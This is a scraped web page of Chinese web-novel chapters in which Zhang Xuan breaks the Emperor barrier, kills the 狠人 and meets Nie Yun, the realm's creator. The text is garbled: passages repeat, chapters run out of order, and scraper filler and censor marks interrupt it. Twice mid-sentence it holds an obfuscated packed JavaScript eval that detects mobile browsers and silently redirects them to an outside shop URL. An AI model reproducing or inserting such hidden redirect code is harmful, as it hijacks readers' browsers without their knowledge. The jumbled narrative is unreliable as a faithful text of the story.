众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十二章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756081|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 